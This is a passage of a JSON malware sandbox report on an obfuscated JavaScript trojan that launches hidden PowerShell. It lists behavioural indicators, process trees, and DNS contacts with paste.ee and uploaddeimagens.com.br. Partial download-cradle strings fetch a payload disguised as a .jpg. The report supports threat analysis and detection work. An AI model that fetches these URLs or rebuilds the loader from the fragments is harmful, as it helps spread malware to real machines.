\"https://uploaddeimagens.com.br/images/4/666/683/original/js.jpg?17183864'[System.Text.Encoding]::UTF8.GetString($imageBytes).IndexOf\"\n Pattern match: \"https://uploaddeimagens.com.br/images/004/666/683/original/js.jpg?1700183864';$webClient\"\n Pattern match: \"https://uploaddeimagens.com.br/images/4/666/683/original/js.jpg?17183864\"\n Heuristic match: \"paste.ee\"\n Heuristic match: \"uploaddeimagens.com.br\"\n Heuristic match: \"%WINDIR%\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.WSMan.Man#\\7bf5729401cff7ea7898124e9818ed20\\Microsoft.WSMan.Management.ni\"\n Heuristic match: \"%WINDIR%\\system32\\powershell.exe.COM\"\n Heuristic match: \"%WINDIR%\\powershell.exe.COM\"\n Heuristic match: \"%WINDIR%\\System32\\Wbem\\powershell.exe.COM\"\n Heuristic match: \"%ALLUSERSPROFILE%\\Oracle\\Java\\javapath\\powershell.exe.COM\"\n Heuristic match: \"ctldl.windowsupdate.com\"","origin":"File/Memory","mitre_attack_id":"T1071","relevance":3,"id":"string-3","sources":[{"report_type":"sandbox","report_id":"6568e30d46fa6a508e01dd31"}]},{"level":"informative","category":"Network Related","name":"Uses HTTPS for communication","description":"HTTPS traffic to \"172.67.187.200\" on port \"443\"\n HTTPS traffic to \"172.67.215.45\" on port \"443\"","origin":"Network Traffic","mitre_attack_id":"T1573","relevance":3,"id":"network-38","sources":[{"report_type":"sandbox","report_id":"6568e30d46fa6a508e01dd31"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used for taking snapshot of the specified processes","description":"\"WScript.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"4\"\n \"th32ProcessID\": \"0\"}\n \"powershell.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"4\"\n \"th32ProcessID\": \"0\"}","origin":"API Call","mitre_attack_id":"T1057","relevance":3,"id":"api-103","sources":[{"report_type":"sandbox","report_id":"6568e30d46fa6a508e01dd31"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used to retrieve information about the current system","description":"\"WScript.exe\" called \"GetNativeSystemInfo\" with parameters {\"lpSystemInfo\": \"000000000010000000000100fffffe7f03000000040000004a020000000001000600004f\"}\n \"powershell.exe\" called \"GetNativeSystemInfo\" with parameters {\"lpSystemInfo\": \"000000000010000000000100fffffe7f03000000040000004a020000000001000600004f\"}","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-108","sources":[{"report_type":"sandbox","report_id":"6568e30d46fa6a508e01dd31"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API's typically used for searching a directory for a files","description":"\"WScript.exe\" called \"FindFirstFileW\" with parameter %APPDATA%\\Microsoft\\SystemCertificates\\My\\Certificates\\* (UID: 00000000-00002496)\n \"WScript.exe\" called \"FindNextFileW\" with parameter .. (UID: 00000000-00002496)\n \"WScript.exe\" called \"FindFirstFileW\" with parameter %APPDATA%\\Microsoft\\SystemCertificates\\My\\CRLs\\* (UID: 00000000-00002496)\n \"WScript.exe\" called \"FindFirstFileW\" with parameter %APPDATA%\\Microsoft\\SystemCertificates\\My\\CTLs\\* (UID: 00000000-00002496)\n \"WScript.exe\" called \"FindFirstFileW\" with parameter C:\\powershell.* (UID: 00000000-00002496)\n \"WScript.exe\" called \"FindFirstFileW\" with parameter %WINDIR%\\system32\\powershell.* (UID: 00000000-00002496)\n \"WScript.exe\" called \"FindFirstFileW\" with parameter %WINDIR%\\System\\powershell.* (UID: 00000000-00002496)\n \"WScript.exe\" called \"FindFirstFileW\" with parameter %WINDIR%\\powershell.* (UID: 00000000-00002496)\n \"WScript.exe\" called \"FindFirstFileW\" with parameter %ALLUSERSPROFILE%\\Oracle\\Java\\javapath\\powershell.* (UID: 00000000-00002496)","origin":"API Call","mitre_attack_id":"T1083","relevance":5,"id":"api-102","sources":[{"report_type":"sandbox","report_id":"6568e30d46fa6a508e01dd31"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains CRYPTO related strings","description":"file/memory contains long string with (Indicator: \"base64\"; File: \"00000000-00004012\")\n file/memory contains long string with (Indicator: \"base64\"; File: \"powershell.exe\")\n file/memory contains long string with (Indicator: \"FromBase64String\"; File: \"powershell.exe\")","origin":"File/Memory","mitre_attack_id":"T1027","relevance":3,"id":"string-57","sources":[{"report_type":"sandbox","report_id":"6568e30d46fa6a508e01dd31"}]},{"level":"informative","category":"System Destruction","name":"Marks file for deletion","description":"\"powershell.exe\" marked \"C:\\Users\\%OSUSER%\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\d93f411851d7c929.customDestinations-ms~RFfb03c.TMP\" for deletion\n \"powershell.exe\" marked \"C:\\Users\\%OSUSER%\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\d93f411851d7c929.customDestinations-ms~RFfcfe9.TMP\" for deletion","origin":"API Call","mitre_attack_id":"T1070.004","relevance":10,"id":"api-26","sources":[{"report_type":"sandbox","report_id":"6568e30d46fa6a508e01dd31"}]},{"level":"informative","category":"System Destruction","name":"Opens file with deletion access rights","description":"$40","origin":"API Call","mitre_attack_id":"T1070.004","relevance":7,"id":"api-25","sources":[{"report_type":"sandbox","report_id":"6568e30d46fa6a508e01dd31"}]},{"level":"informative","category":"System Security","name":"Calls an API typically used to enable or disable privileges in the specified access token","description":"\"powershell.exe\" called an API \"AdjustTokenPrivileges\" (UID: 00000000-00002316)\n \"powershell.exe\" called an API \"AdjustTokenPrivileges\" (UID: 00000000-00004012)","origin":"API Call","mitre_attack_id":"T1134","relevance":3,"id":"api-111","sources":[{"report_type":"sandbox","report_id":"6568e30d46fa6a508e01dd31"}]},{"level":"informative","category":"System Security","name":"Contains ability to shutdown system","description":"Observed string: \"shutdown\" (Indicator: \"shutdown\") in Source: 00000000-00004012-00000C26-71710838","origin":"File/Memory","mitre_attack_id":"T1529","relevance":1,"id":"string-406","sources":[{"report_type":"sandbox","report_id":"6568e30d46fa6a508e01dd31"}]},{"level":"informative","category":"System Security","name":"Creates or modifies windows services","description":"\"WScript.exe\" (Access type: \"CREATE\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\TCPIP\\PARAMETERS\")\n \"powershell.exe\" (Access type: \"CREATE\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\TCPIP\\PARAMETERS\")","origin":"Registry Access","mitre_attack_id":"T1543.003","relevance":10,"id":"registry-67","sources":[{"report_type":"sandbox","report_id":"6568e30d46fa6a508e01dd31"}]},{"level":"informative","category":"System Security","name":"Deletes registry keys","description":"\"WScript.exe\" (Access type: \"DELETEVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"PROXYBYPASS\"; Value: \"\")\n \"WScript.exe\" (Access type: \"DELETEVAL\"; Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"PROXYBYPASS\"; Value: \"\")\n \"WScript.exe\" (Access type: \"DELETEVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"INTRANETNAME\"; Value: \"\")\n \"WScript.exe\" (Access type: \"DELETEVAL\"; Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"INTRANETNAME\"; Value: \"\")","origin":"Registry Access","mitre_attack_id":"T1070","relevance":3,"id":"registry-170","sources":[{"report_type":"sandbox","report_id":"6568e30d46fa6a508e01dd31"}]},{"level":"informative","category":"System Security","name":"Modifies Software Policy Settings","description":"$41","origin":"Registry Access","mitre_attack_id":"T1112","relevance":10,"id":"registry-19","sources":[{"report_type":"sandbox","report_id":"6568e30d46fa6a508e01dd31"}]},{"level":"informative","category":"System Security","name":"Modifies proxy settings","description":"\"WScript.exe\" (Access type: \"DELETEVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"PROXYBYPASS\")\n \"WScript.exe\" (Access type: \"DELETEVAL\"; Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"PROXYBYPASS\")","origin":"Registry Access","mitre_attack_id":"T1112","relevance":10,"id":"registry-27","sources":[{"report_type":"sandbox","report_id":"6568e30d46fa6a508e01dd31"}]},{"level":"informative","category":"System Security","name":"Queries sensitive IE security settings","description":"\"WScript.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\INTERNET EXPLORER\\SECURITY\"; Key: \"DISABLESECURITYSETTINGSCHECK\")","origin":"Registry Access","mitre_attack_id":"T1012","relevance":8,"id":"registry-36","sources":[{"report_type":"sandbox","report_id":"6568e30d46fa6a508e01dd31"}]},{"level":"informative","category":"System Security","name":"Queries services related registry keys","description":"$42","origin":"Registry Access","mitre_attack_id":"T1007","relevance":1,"id":"registry-173","sources":[{"report_type":"sandbox","report_id":"6568e30d46fa6a508e01dd31"}]},{"level":"informative","category":"System Security","name":"Queries the display settings of system associated file extensions","description":"\"WScript.exe\" (Access type: \"QUERYVAL\"; Path: \"HKLM\\SOFTWARE\\CLASSES\\SYSTEMFILEASSOCIATIONS\\.EXE\"; Key: \"ALWAYSSHOWEXT\")\n \"WScript.exe\" (Access type: \"QUERYVAL\"; Path: \"HKLM\\SOFTWARE\\CLASSES\\SYSTEMFILEASSOCIATIONS\\.EXE\"; Key: \"NEVERSHOWEXT\")\n \"powershell.exe\" (Access type: \"QUERYVAL\"; Path: \"HKLM\\SOFTWARE\\CLASSES\\SYSTEMFILEASSOCIATIONS\\.LNK\"; Key: \"ALWAYSSHOWEXT\")","origin":"Registry Access","mitre_attack_id":"T1005","relevance":7,"id":"registry-47","sources":[{"report_type":"sandbox","report_id":"6568e30d46fa6a508e01dd31"}]},{"level":"informative","category":"System Security","name":"Writes registry keys","description":"$43","origin":"Registry Access","mitre_attack_id":"T1112","relevance":3,"id":"registry-136","sources":[{"report_type":"sandbox","report_id":"6568e30d46fa6a508e01dd31"}]},{"level":"informative","category":"Unusual Characteristics","name":"Commandline contains PowerShell","description":"$44","origin":"File/Memory","mitre_attack_id":"T1059.001","relevance":1,"id":"string-510","sources":[{"report_type":"sandbox","report_id":"6568e30d46fa6a508e01dd31"}]},{"level":"informative","category":"Unusual Characteristics","name":"Commandline contains long base64 encoded string","description":"Commandline contains long base64 encoded string \"Length4B2B2D7A64DEC6D1277287629E51317C19EB52B6B8A782299A81E72B5EB12B9BB2DAE29E4B2B2D7A64DEC6D1277287.......\" in [Source : 00000000-00004012]\n Commandline contains long base64 encoded string \"4B2B2D7A64DEC6D1277287629E51317C19EB52B6B8A782299A81E72B5EB12B9BB2DAE29E4B2B2D7A64DEC6D1277287629E51.......\" in [Source : 00000000-00004012]","origin":"File/Memory","mitre_attack_id":"T1132","relevance":5,"id":"string-509","sources":[{"report_type":"sandbox","report_id":"6568e30d46fa6a508e01dd31"}]},{"level":"informative","category":"Unusual Characteristics","name":"Drops cabinet archive files","description":"\"77EC63BDA74BD0D0E0426DC8F8008506\" has type \"Microsoft Cabinet archive data Windows 2000/XP setup 66791 bytes 1 file at 0x2c +A \"authroot.stl\" number 1 6 datablocks 0x1 compression\"- Location: [%LOCALAPPDATA%\\ow\\Microsoft\\CryptnetUrlCache\\Content\\77EC63BDA74BD0D0E0426DC8F8008506]- [targetUID: 00000000-00004012]","origin":"Binary File","mitre_attack_id":"T1560","relevance":10,"id":"binary-5","sources":[{"report_type":"sandbox","report_id":"6568e30d46fa6a508e01dd31"}]},{"level":"informative","category":"Unusual Characteristics","name":"Drops files inside appdata directory","description":"Dropped file: \"77EC63BDA74BD0D0E0426DC8F8008506\" - Location: [%LOCALAPPDATA%\\ow\\Microsoft\\CryptnetUrlCache\\Content\\77EC63BDA74BD0D0E0426DC8F8008506]- [targetUID: 00000000-00004012]\n Dropped file: \"U0A9651DLQGT4I9ZN4R3.temp\" - Location: [%APPDATA%\\Microsoft\\Windows\\Recent\\CustomDestinations\\U0A9651DLQGT4I9ZN4R3.temp]- [targetUID: 00000000-00002316]\n Dropped file: \"77EC63BDA74BD0D0E0426DC8F8008506\" - Location: [%LOCALAPPDATA%\\ow\\Microsoft\\CryptnetUrlCache\\MetaData\\77EC63BDA74BD0D0E0426DC8F8008506]- [targetUID: 00000000-00004012]\n Dropped file: \"HMJ91T85MNXB5SRG2NLH.temp\" - Location: [%APPDATA%\\Microsoft\\Windows\\Recent\\CustomDestinations\\HMJ91T85MNXB5SRG2NLH.temp]- [targetUID: 00000000-00004012]","origin":"Binary File","mitre_attack_id":"T1036","relevance":3,"id":"binary-37","sources":[{"report_type":"sandbox","report_id":"6568e30d46fa6a508e01dd31"}]},{"level":"informative","category":"Unusual Characteristics","name":"Reads the windows installation language","description":"\"WScript.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LANGUAGE GROUPS\"; Key: \"1\")","origin":"Registry Access","mitre_attack_id":"T1614.001","relevance":2,"id":"registry-26","sources":[{"report_type":"sandbox","report_id":"6568e30d46fa6a508e01dd31"}]},{"level":"suspicious","category":"Anti-Detection/Stealthyness","name":"Ability to hide a payload in the commandline","description":"Process \"powershell.exe\" based on artifact \"frombase64string\" (UID: 00000000-00002316)\n Process \"powershell.exe\" based on artifact \"frombase64string\" (UID: 00000000-00004012)","origin":"Monitored Target","mitre_attack_id":"T1140","relevance":10,"id":"target-43","sources":[{"report_type":"sandbox","report_id":"6568e30d46fa6a508e01dd31"}]},{"level":"suspicious","category":"Anti-Detection/Stealthyness","name":"Uses powershell with a windows hidden commandline param","description":"$45","origin":"Monitored Target","mitre_attack_id":"T1564.003","relevance":7,"id":"target-114","sources":[{"report_type":"sandbox","report_id":"6568e30d46fa6a508e01dd31"}]},{"level":"suspicious","category":"Cryptographic Related","name":"Shows ability to use data encoding technique","description":"The analysis shows indicators which shows data encoded. Matched sigs: Ability to hide a payload in the commandline","origin":"Indicator Combinations","mitre_attack_id":"T1132","relevance":3,"id":"summary-30","sources":[{"report_type":"sandbox","report_id":"6568e30d46fa6a508e01dd31"}]},{"level":"suspicious","category":"Exploit/Shellcode","name":"Contains escaped byte string (often part of obfuscated shellcode)","description":"$46","origin":"File/Memory","mitre_attack_id":"T1140","relevance":10,"id":"string-15","sources":[{"report_type":"sandbox","report_id":"6568e30d46fa6a508e01dd31"}]},{"level":"suspicious","category":"External Systems","name":"Found an IP/URL artifact that was identified as malicious by at least three reputation engines","description":"8/90 reputation engines marked \"https://uploaddeimagens.com.br/images/004/666/683/original/js.jpg\" as malicious (8% detection rate)\n 3/90 reputation engines marked \"http://uploaddeimagens.com.br\" as malicious (3% detection rate)","origin":"External System","relevance":10,"id":"avtest-6","sources":[{"report_type":"sandbox","report_id":"6568e30d46fa6a508e01dd31"}]},{"level":"suspicious","category":"External Systems","name":"Sample was identified as malicious by at least one Antivirus engine","description":"8/60 Antivirus vendors marked sample as malicious (13% detection rate)","origin":"External System","id":"avtest-0","sources":[{"report_type":"sandbox","report_id":"6568e30d46fa6a508e01dd31"}]},{"level":"suspicious","category":"General","name":"Executes a JavaScript file","description":"Process \"WScript.exe\" with commandline \"\"C:\\\\0517bf10dbb8a2078f9a7bccea9fab3012093f637568dadfc5410a7ffad41452.js\"\" (UID: 00000000-00002496)","origin":"Monitored Target","mitre_attack_id":"T1059.007","relevance":10,"id":"target-167","sources":[{"report_type":"sandbox","report_id":"6568e30d46fa6a508e01dd31"}]},{"level":"suspicious","category":"General","name":"Executes powershell with commandline","description":"$47","origin":"Monitored Target","mitre_attack_id":"T1059.001","relevance":5,"id":"target-110","sources":[{"report_type":"sandbox","report_id":"6568e30d46fa6a508e01dd31"}]},{"level":"suspicious","category":"General","name":"References URL in command line","description":"$48","origin":"Monitored Target","mitre_attack_id":"T1105","relevance":1,"id":"target-174","sources":[{"report_type":"sandbox","report_id":"6568e30d46fa6a508e01dd31"}]},{"level":"suspicious","category":"Installation/Persistence","name":"Writes data to a remote process","description":"\"WScript.exe\" wrote 32 bytes to a remote process \"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" (Handle: 1384)\n \"WScript.exe\" wrote 52 bytes to a remote process \"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" (Handle: 1384)\n \"WScript.exe\" wrote 4 bytes to a remote process \"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" (Handle: 1384)\n \"powershell.exe\" wrote 32 bytes to a remote process \"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" (Handle: 1088)\n \"powershell.exe\" wrote 52 bytes to a remote process \"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" (Handle: 1088)\n \"powershell.exe\" wrote 4 bytes to a remote process \"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" (Handle: 1088)","origin":"API Call","mitre_attack_id":"T1055","relevance":6,"id":"api-0","sources":[{"report_type":"sandbox","report_id":"6568e30d46fa6a508e01dd31"}]},{"level":"suspicious","category":"Network Related","name":"Contact Pastebin domains (possible C&C communication)","description":"\"paste.ee\"","origin":"Network Traffic","mitre_attack_id":"T1102","relevance":5,"id":"network-44","sources":[{"report_type":"sandbox","report_id":"6568e30d46fa6a508e01dd31"}]},{"level":"suspicious","category":"Network Related","name":"Sends traffic on typical HTTP outbound port, but without HTTP header","description":"TCP traffic to 172.67.187.200 on port 443 is sent without HTTP header\n TCP traffic to 172.67.215.45 on port 443 is sent without HTTP header","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":5,"id":"network-23","sources":[{"report_type":"sandbox","report_id":"6568e30d46fa6a508e01dd31"}]},{"level":"suspicious","category":"Network Related","name":"Spawned process connects to a network","description":"Process \"%WINDIR%\\System32\\WScript.exe\" connects to 172.67.187.200 on port 443 (TCP); Domain: \"paste.ee\"\n Process \"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" connects to 172.67.215.45 on port 443 (TCP); Domain: \"uploaddeimagens.com.br\"\n Process \"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" connects to 68.142.107.4 on port 80 (TCP)","origin":"Monitored Target","mitre_attack_id":"T1071","relevance":5,"id":"target-412","sources":[{"report_type":"sandbox","report_id":"6568e30d46fa6a508e01dd31"}]},{"level":"suspicious","category":"Spyware/Information Retrieval","name":"Contains ability to load binary assembly using powershell","description":"$49","origin":"Monitored Target","mitre_attack_id":"T1620","relevance":5,"id":"target-252","sources":[{"report_type":"sandbox","report_id":"6568e30d46fa6a508e01dd31"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Invokes a process with a long commandline","description":"$4a","origin":"Monitored Target","mitre_attack_id":"T1027","relevance":10,"id":"target-31","sources":[{"report_type":"sandbox","report_id":"6568e30d46fa6a508e01dd31"}]},{"level":"malicious","category":"Anti-Detection/Stealthyness","name":"Windows system process connects to a network","description":"Process \"WScript.exe\" connects to 172.67.187.200:443","origin":"Monitored Target","mitre_attack_id":"T1055","relevance":7,"id":"target-269","sources":[{"report_type":"sandbox","report_id":"6568e30d46fa6a508e01dd31"}]},{"level":"malicious","category":"External Systems","name":"Detected Suricata Alert","description":"Detected alert \"ET POLICY Pastebin-style Service (paste .ee) in TLS SNI\" (SID: 2034978, Rev: 1, Severity: 1) categorized as \"Potential Corporate Privacy Violation\"","origin":"Suricata Alerts","relevance":10,"id":"suricata-2","sources":[{"report_type":"sandbox","report_id":"6568e30d46fa6a508e01dd31"}]},{"level":"malicious","category":"External Systems","name":"Sample was identified as malicious by a trusted Antivirus engine","description":"No specific details available","origin":"External System","relevance":10,"id":"avtest-5","sources":[{"report_type":"sandbox","report_id":"6568e30d46fa6a508e01dd31"}]},{"level":"malicious","category":"System Security","name":"Executes powershell requesting to bypass execution policy","description":"$4b","origin":"Monitored Target","mitre_attack_id":"T1059.001","relevance":5,"id":"target-29","sources":[{"report_type":"sandbox","report_id":"6568e30d46fa6a508e01dd31"}]},{"level":"malicious","category":"Unusual Characteristics","name":"Script file shows a combination of malicious behavior","description":"The script produces internet activity\n is obfuscated and drops files","origin":"Indicator Combinations","mitre_attack_id":"T1204.002","relevance":7,"id":"summary-5","sources":[{"report_type":"sandbox","report_id":"6568e30d46fa6a508e01dd31"}]}],"incidents":[{"name":"Exploit","details_count":1,"details":[{"detail":"Contains escaped byte string (often part of obfuscated shellcode)"}],"sources":[{"report_type":"sandbox","report_id":"6568e30d46fa6a508e01dd31"}]},{"name":"Network Behavior","details_count":1,"details":[{"detail":"Contacts 2 domains and 2 hosts"}],"sources":[{"report_type":"sandbox","report_id":"6568e30d46fa6a508e01dd31"}]}]},"activity":{"stats":{"process_count":3,"spawned_processes_count":3,"injected_processes_count":0,"script_calls_count":0,"mutex_created_count":10,"imported_dlls_count":133,"dropped_files_count":0,"extracted_files_count":4,"files_written_count":9,"files_deleted_count":0,"registry_keys_created_count":0,"registry_keys_modified_count":0,"registry_keys_deleted_count":0,"registry_keys_opened_count":0,"registry_keys_queried_count":0,"registry_operations_count":0,"embedded_ips_count":0,"embedded_domains_count":0,"embedded_urls_count":0,"contacted_hosts_count":2,"dns_resolutions_count":2,"contacted_urls_count":0,"http_requests_count":0},"behavior_tags":null,"sample_flags":["Network Traffic","Extracted Files"],"sandbox_reports":[{"id":"6568e30d46fa6a508e01dd31","environment_id":100,"environment_description":"Windows 7 32 bit","state":"SUCCESS","verdict":"malicious","threat_score":100,"malware_family":"Trojan.Script.SAgent","contacted_countries":["USA"],"submit_name":"0517bf10dbb8a2078f9a7bccea9fab3012093f637568dadfc5410a7ffad41452.js","analysis_start_time":"2023-11-30T19:31:25+00:00","indicators_count":{"informative":102,"suspicious":15,"malicious":5},"tags":["Network Traffic","Extracted Files"],"is_in_unified_schema":true}],"network_activity":{"contacted_hosts":[{"address":"172.67.187.200","port":443,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"6568e30d46fa6a508e01dd31"}]},{"address":"172.67.215.45","port":443,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"6568e30d46fa6a508e01dd31"}]}],"dns_resolutions":[{"domain":"paste.ee","address":"172.67.187.200","ttl":300,"country":"United States","registrar_name":"NETIM","registrar_name_servers":"dora.ns.cloudflare.com","sources":[{"report_type":"sandbox","report_id":"6568e30d46fa6a508e01dd31"}]},{"domain":"uploaddeimagens.com.br","address":"172.67.215.45","ttl":300,"country":"United States","sources":[{"report_type":"sandbox","report_id":"6568e30d46fa6a508e01dd31"}]}],"http_requests":null},"process_activity":{"sources":[{"report_type":"sandbox","report_id":"6568e30d46fa6a508e01dd31"}],"processes":[{"pid":2496,"ppid":0,"name":"WScript.exe","command_line":"\"C:\\0517bf10dbb8a2078f9a7bccea9fab3012093f637568dadfc5410a7ffad41452.js\"","sha256":"2160ba6829909eeb1d272ac4a5f43588750c0b4743477bf2b46952033b5d4b3b","normalized_path":"%WINDIR%\\System32\\WScript.exe","uid":"00000000-00002496","icon":"iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAABIklEQVR4Xs2Siw7DIAhF/XQ/rX+25cYxkV58FbOdxLRFhQNbSoqc8yt66fxDcCGSvxBYkjghcF3XvMQJATAtcUoATEn0BOT3nFn6jq3RxRMo8WSi9290KbnM5hd95gYTkFjOia5CLS5TwHvNUlkS4J1b2uJ4l4WYPb0h0O/eK+5JbAn4+N2HCtjOvQnYfEDn0+cpnsAdyVsn0Gx3WBIAJXbvnk2hvcnZFAC1a/aclVgWAOP/wrzElgCImsS2AIiYxCMB8HQSQQK8qH0yiW0B7I0WcmiJMAEvbju1EiECJdbkaNDFC8ETYIn1sxXge59gE6P4Ary4LaTPsuI6TmECAHFc7C2cQQ75xrvNA7YEgD07wt4XtgWi+H8B+9ueWLbuT3kDb24C8Zv/GpsAAAAASUVORK5CYII="},{"pid":2316,"ppid":2496,"name":"powershell.exe","command_line":"$4c","sha256":"6c05e11399b7e3c8ed31bae72014cf249c144a8f4a2c54a758eb2e6fad47aec7","normalized_path":"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","parent_uid":"00000000-00002496","uid":"00000000-00002316"},{"pid":4012,"ppid":2316,"name":"powershell.exe","command_line":"$4d","sha256":"6c05e11399b7e3c8ed31bae72014cf249c144a8f4a2c54a758eb2e6fad47aec7","normalized_path":"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","parent_uid":"00000000-00002316","uid":"00000000-00004012"}],"all_imported_dlls":["diasymreader.dll","version.dll","rsaenh.dll","Microsoft.PowerShell.Commands.Management.ni.dll","user32.dll","ntdll.dll","mswsock.dll","iertutil.dll","Microsoft.PowerShell.Commands.Diagnostics.ni.dll","api-ms-win-downlevel-version-l1-1-0.dll","System.Transactions.dll","mscoree.dll","profapi.dll","gpapi.dll","Wldap32.dll","rpcrt4.dll","netutils.dll","dhcpcsvc.dll","api-ms-win-core-synch-l1-2-0.dll","bcryptprimitives.dll","usp10.dll","devobj.dll","normaliz.dll","uxtheme.dll","shell32.dll","sspicli.dll","System.Core.ni.dll","wintrust.dll","bcrypt.dll","lpk.dll","System.ni.dll","Microsoft.WSMan.Management.ni.dll","atl.dll","userenv.dll","dwmapi.dll","webio.dll","msvcr80.dll","Microsoft.PowerShell.ConsoleHost.ni.dll","advapi32.dll","msvcrt.dll","wship6.dll","api-ms-win-downlevel-normaliz-l1-1-0.dll","urlmon.dll","nsi.dll","shfolder.dll","mscorjit.dll","rasadhlp.dll","msxml6.dll","kernel32.dll","SensApi.dll","apphelp.dll","mscorlib.ni.dll","System.Configuration.Install.ni.dll","dhcpcsvc6.dll","api-ms-win-downlevel-shell32-l1-1-0.dll","wininet.dll","gdi32.dll","RpcRtRemote.dll","linkinfo.dll","cryptnet.dll","cfgmgr32.dll","sechost.dll","api-ms-win-downlevel-shlwapi-l1-1-0.dll","shlwapi.dll","scrobj.dll","psapi.dll","rtutils.dll","scrrun.dll","imm32.dll","rpcss.dll","VxSSL32.dll","sxs.dll","cryptsp.dll","wshext.dll","System.Xml.ni.dll","slc.dll","System.Transactions.ni.dll","System.DirectoryServices.ni.dll","crypt32.dll","comctl32.dll","winhttp.dll","wshqos.dll","System.Management.Automation.ni.dll","Microsoft.PowerShell.Commands.Utility.ni.dll","mpr.dll","msisip.dll","api-ms-win-downlevel-advapi32-l1-1-0.dll","oleaut32.dll","msxml6r.dll","mscorrc.dll","ntshrui.dll","srvcli.dll","mscorwks.dll","dnsapi.dll","credssp.dll","propsys.dll","api-ms-win-downlevel-user32-l1-1-0.dll","mscoreei.dll","System.Data.dll","ws2_32.dll","setupapi.dll","jscript.dll","System.Management.ni.dll","msasn1.dll","cryptbase.dll","System.Configuration.ni.dll","rasapi32.dll","ole32.dll","Microsoft.PowerShell.Security.ni.dll","System.Data.ni.dll","api-ms-win-downlevel-ole32-l1-1-0.dll","mlang.dll","WSHTCPIP.DLL","cscapi.dll","IPHLPAPI.DLL","ntmarta.dll","KernelBase.dll","clbcatq.dll","System.Management.Automation.dll","Microsoft.WSMan.Runtime.dll","rasman.dll","winnsi.dll","secur32.dll","ieframe.dll","msctf.dll","security.dll","schannel.dll","shdocvw.dll","ncrypt.dll","fltLib.dll","Culture.dll","tzres.dll","FWPUCLNT.DLL"]},"file_activity":{"dropped_files":null,"extracted_files":[{"name":"HMJ91T85MNXB5SRG2NLH.temp","sha256":"47cf43bd0485e6bbc569ac21bee4d7f60665225c2973898d056de7ad468568d7","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6568e30d46fa6a508e01dd31"}]},{"name":"U0A9651DLQGT4I9ZN4R3.temp","sha256":"47cf43bd0485e6bbc569ac21bee4d7f60665225c2973898d056de7ad468568d7","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6568e30d46fa6a508e01dd31"}]},{"name":"77EC63BDA74BD0D0E0426DC8F8008506","sha256":"c6456e12e5e53287a547af4103e0397cb9697e466cf75844312dc296d43d144d","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6568e30d46fa6a508e01dd31"}]},{"name":"urlref_httpsuploaddeimagens.com.brimages004666683originaljs.jpg1700183864_webClient","sha256":"870f72668aa7ff7ff16a0f8666a36c96f838fb356558ab4b0d09b981023bba55","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6568e30d46fa6a508e01dd31"}]}],"files_written":[{"path":"\\DEVICE\\NETBT_TCPIP_{E29AC6C2-7037-11DE-816D-806E6F6E6963}","sources":[{"report_type":"sandbox","report_id":"6568e30d46fa6a508e01dd31"}]},{"path":"\\DEVICE\\NETBT_TCPIP_{F5E5586C-DA91-47DA-AEAC-0A88CD2FFB01}","sources":[{"report_type":"sandbox","report_id":"6568e30d46fa6a508e01dd31"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Caches","sources":[{"report_type":"sandbox","report_id":"6568e30d46fa6a508e01dd31"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Recent\\CustomDestinations","sources":[{"report_type":"sandbox","report_id":"6568e30d46fa6a508e01dd31"}]},{"path":"%SAMPLEDIR%\\Users\\%OSUSER%","sources":[{"report_type":"sandbox","report_id":"6568e30d46fa6a508e01dd31"}]},{"path":"%USERPROFILE%\\AppData\\Roaming","sources":[{"report_type":"sandbox","report_id":"6568e30d46fa6a508e01dd31"}]},{"path":"%LOCALAPPDATA%\\ow\\M